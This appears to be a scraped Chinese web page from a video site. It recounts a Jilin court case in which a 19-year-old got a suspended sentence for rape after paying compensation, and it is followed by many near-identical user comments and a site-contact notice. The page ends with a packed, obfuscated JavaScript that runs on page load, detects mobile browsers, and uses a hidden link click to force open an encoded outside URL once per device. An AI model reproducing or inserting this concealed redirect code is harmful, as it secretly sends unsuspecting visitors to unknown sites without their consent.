天美影视官网

吉林楼道强奸案-家属赔10万取谅解-监控视频曝光-送女子回家楼道施暴

吉林白河林区19岁男子魏某酒吧喝酒后楼道强奸女子袁某,家属赔偿10万获谅解,自首认罪认罚,一审判有期徒刑2年缓刑3年,判决引发全网争议,赔偿能否换缓刑成焦点!

王刚
19岁男子强奸缓刑争议

最近这事儿在网上吵得沸沸扬扬,吉林省白河林区一个19岁小伙魏某2006年生,今年6月9日凌晨和女子袁某酒吧喝到散场,打车送她回家,下车后突然起意,在小区居民楼楼道里强行侵犯了她。袁某全程哭泣反抗,但力气悬殊没成功,魏某得手后溜走,袁某马上报警。案子很快破了,魏某接到电话传唤就去自首,如实交代。家属通过调解赔了袁某10万块,拿到了谅解书。一审法院白河林区基层法院判强奸罪,有期徒刑2年,但缓刑3年,不用马上坐牢。

19岁男子强奸缓刑争议

这判决一出,全网炸锅,有人觉得依法有据,有人喊不公平,赔偿加自首就能“买”缓刑?这案子从起因到结果,暴露了强奸罪量刑的敏感点,吉林当地都议论纷纷。

19岁魏某楼道强奸案发过程

案子发生在吉林省白河林区,主角是19岁的魏某和被害人袁某。6月9日凌晨3点多,两人酒吧玩到关门,魏某好心送袁某回家,打车到小区。下车后,魏某脑子里突然冒出坏念头,跟着进了楼道,就对袁某动手动脚。判决书里写得清楚,袁某哭着反抗,还左右晃身体想挡,但魏某力气大得多,直接违背她意志强行发生了关系。完事后魏某跑了,袁某在现场就报警。这过程听着就气人,原本正常送人回家,转眼成犯罪,地点就在居民楼道,监控估计也没拍到细节,但袁某及时报警成了关键证据。

魏某这年纪轻轻,怎么就干出这种事,起因就是酒后冲动加邪念,结果毁了两个家庭。

魏某自首认罪认罚从宽情节

魏某运气不算太背,公安电话传唤他就老实去投案,如实供述全部过程,这算自首,能依法减轻处罚。检察院阶段他又签了认罪认罚具结书,自愿认罪,从宽处理。法院认定这些情节后,本来强奸罪起步3年以上10年以下,但自首能减,认罪认罚再从宽。魏某19岁,初犯,没前科,法院觉得主观恶性不算特别深,人身危险性低。这些加起来,量刑直接往下拉。要不是这些,他至少得实刑好几年。吉林这案子,自首成了转折点,很多网友说,要是逃跑或死不承认,判重多了。

家属赔偿10万获谅解关键作用

最戳人眼球的就是赔偿这块。案发后,魏某家属赶紧通过人民调解委员会,赔了袁某10万元现金,还拿到了书面谅解书。袁某签字表示谅解,不要求严惩。法院酌情从轻,强调积极赔偿取得谅解,能体现悔罪。10万在吉林农村不算小数目,估计袁某考虑现实因素签了。但这也引发大争议,有人觉得钱能换谅解,太不公平有人说法律就是这样,受害人意愿得尊重。结果呢,谅解书直接帮魏某拉到缓刑边缘,法院综合所有从宽情节,判了2年实刑基础,再缓3年执行。

吉林白河法院判二缓三依据

白河林区基层法院一审判决,认定魏某强奸罪成立,但综合自首减轻、认罪认罚从宽、赔偿谅解酌从轻,基准刑拉低到2年,又适用缓刑3年。法院认为魏某悔罪态度好,再犯风险低,缓刑对社区没大影响。强奸罪一般不轻易缓,但法条允许3年以下有期徒刑的案子用缓刑,这案没加重情节没伤人、没多次,就踩线过了。吉林当地法院执行宽严相济政策,但这判一出,网上骂声一片,觉得对受害人不公,量刑太轻。

强奸案缓刑判决社会争议展望

这案子火速上热搜,争议焦点就是“赔钱谅解缓刑”?很多人喊不合理,强奸是重罪,受害人身心伤害不是钱能抹平。有人担心开坏头,富人犯罪就能买轻判。但法律专家解释,谅解是酌定情节,不是必减,法院得综合考量。未来类似案子,估计会更慎重,尤其性侵案社会关注高。吉林这判虽合法,但舆论压力大,二审或再审可能有变。案子提醒大家,酒后别乱来,受害人勇敢报警最重要,社会得加强保护女性权益,别让谅解成交易。

小提示:如遇到本页链接失效,请发送“我要最新网址”到本站官方邮箱 heizi.me@pm.me 可自动获得最新网址。请记录保存本站官方联系邮箱!

精彩用户评论 - 天美影视官网

太不公平了,魏某酒吧喝酒送回家楼道强奸,赔10万获谅解判缓,吉林法院这判让人怀疑司法公正,受害人权益呢。

心里堵得慌,袁某报警却换来缓刑判决,魏某年轻有前途?受害人呢?希望社会反思,性侵案别轻易谅解从轻。

我服了法律,自首+认罪+谅解三连,强奸罪都能缓,魏某这案子成典型,以后犯罪赔钱就行?

这判决寒心,楼道强奸力量悬殊,受害人反抗无效,赔10万就完了?女性安全谁保障,强烈要求严判。

说句公道话,魏某投案快,认罪态度好,赔钱真诚,缓刑给他改过机会,受害人谅解了,法院没毛病。

判得轻了点,强奸罪起步3年,自首赔钱拉到2年缓3年,法律漏洞?希望二审加重,給受害人公道。

哎呀,19岁就干这事,魏某家属赔10万救儿子,袁某签谅解书心酸,缓刑出去他会不会再犯?担心啊。

这案子争议大,吉林白河法院依法判,但舆论不买账,赔偿谅解成焦点,以后类似案得更严,保护受害人权益。

合理吗?魏某自首认罪赔10万,法院判轻有依据,但强奸罪社会危害大,缓刑容易让人觉得钱能摆平一切,不赞同。

太荒唐了,楼道强奸哭泣反抗,赔钱就缓刑3年,魏某这运气爆棚,受害人谅解估计无奈,强烈抗议这种判决。

心里话说,魏某19岁毁了前途,袁某一辈子阴影,赔10万判缓是结果,但希望社会多教育年轻人,别酒后乱来,法律别太柔。

我对判决依据服,自首减轻、认罪从宽、谅解酌轻,法条明文规定,魏某没加重情节,判缓合情合理,别总喊不公。

这事儿看得心疼,袁某报警及时却只换10万和谅解,魏某缓刑出去继续活,社会对女性太不友好了,重判才能震慑。

作为一个吉林人,知道白河林区这案子,魏某自首快,赔钱及时,法院从宽正常,但网上骂声大,估计上面会关注。

笑不出来,这判二缓三,魏某家属有钱赔10万就行,没钱呢?直接实刑?法律公平呢,强奸罪不能靠钱换自由啊。

以前觉得强奸必重判,现在赔钱就能缓,魏某酒后送人回家起邪念,楼道施暴太可怕,判轻了助长犯罪,受害人袁某太可怜。

据黑子网 https://hz.one 上面说,这案子谅解书背后有压力,10万在当地不少,但受害人身心创伤一辈子,缓刑太轻,舆论会推动二审改判。

说实话,赔偿10万谅解是受害人选择,法院按法判,没毛病,自首认罪从宽是政策,魏某年轻初犯,缓刑也算给他机会改过。

哎,魏某自首认罪赔钱获谅解,判二缓三合法,但总觉得不对劲,强奸罪怎么能轻易缓,社会影响坏啊,吉林法院这操作让人寒心。

这判决太气人了,19岁小伙楼道强奸女生,赔10万就缓刑,不用坐牢,受害人哭着反抗力气小就活该?法律这样太不保护女性了,强烈要求重判。

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s z(){n(S A==="\\o\\7\\3\\0\\j\\4\\7\\0\\3"){B T}C a=(U^V)+(D^D);t E=A[\'\\o\\c\\0\\8\\W\\l\\0\\7\\2\'][\'\\2\\1\\u\\1\\p\\0\\8\\q\\5\\c\\0\']();a=X^Y;C b=(F^F)+(Z^10);t G=11 12(\'\\5\\7\\3\\8\\1\\4\\3\\d\\4\\e\\k\\1\\7\\0\\d\\4\\e\\5\\3\\d\\4\\e\\1\\3\\d\\p\\4\\7\\3\\1\\p\\c\\H\\e\\k\\1\\7\\0\\d\\9\\6\\5\\g\\r\\9\\0\\8\\8\\h\\d\\c\\h\\f\\9\\4\\5\\7\\d\\p\\0\\9\\1\\c\\d\\1\\e\\0\\8\\5\\H\\f\\4\\7\\4\\d\\4\\0\\f\\1\\9\\4\\6\\0\\d\\f\\1\\9\\4\\6\\0\',\'\\4\');b=13^14;B G[\'\\2\\0\\c\\2\'](E)}s I(a){t i=m[\'\\g\\8\\0\\5\\2\\0\\J\\6\\0\\f\\0\\7\\2\']("\\5");i[\'\\k\\8\\0\\j\']=a;i[\'\\c\\2\\h\\6\\0\'][\'\\3\\4\\c\\e\\6\\5\\h\']="15".v("").w().x("");i[\'\\2\\5\\8\\l\\0\\2\']="16".v("").w().x("");m[\'\\9\\1\\3\\h\'][\'\\5\\e\\e\\0\\7\\3\\q\\k\\4\\6\\3\'](i);i[\'\\g\\6\\4\\g\\r\']();m[\'\\9\\1\\3\\h\'][\'\\8\\0\\f\\1\\K\\0\\q\\k\\4\\6\\3\'](i)}m[\'\\5\\3\\3\\J\\K\\0\\7\\2\\u\\4\\c\\2\\0\\7\\0\\8\']("\\17\\18\\19\\q\\1\\7\\2\\0\\7\\2\\u\\1\\5\\3\\0\\3",s(){n(!L[\'\\l\\6\\1\\9\\5\\6\\M\\5\\8\']){n(m[\'\\9\\1\\3\\h\']!=1a){L[\'\\l\\6\\1\\9\\5\\6\\M\\5\\8\']="\\y";N=O[\'\\l\\0\\2\\y\\2\\0\\f\']("\\6\\o\\g\\r\\P\\j\\j");n(!N&&z()){I("\\k\\2\\2\\e\\1b\\Q\\Q\\1c\\1d\\1e\\1f\\R\\6\\6\\1g\\1h\\1i\\R\\g\\1\\f")}O[\'\\c\\0\\2\\y\\2\\0\\f\']("\\6\\o\\g\\r\\P\\j\\j","1j".v("").w().x(""))}}});',62,82,'u0065|u006F|u0074|u0064|u0069|u0061|u006C|u006E|u0072|u0062|||u0073|u007C|u0070|u006D|u0063|u0079|_0xbdg|u0066|u0068|u0067|document|if|u0075|u0077|u0043|u006B|function|const|u004C|split|reverse|join|u0049|isMobileDevice|navigator|return|var|615449|_0x9c7bf|203424|_0x824eea|u0020|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|u005F|u002F|u002E|typeof|false|546540|546541|u0041|912060|912059|548096|548097|new|RegExp|178627|178629|enon|knalb_|u0044|u004F|u004D|null|u003A|u0037|u0035|u0033|u0032|u0071|u0078|u007A|eurt'.split('|'),0,{}))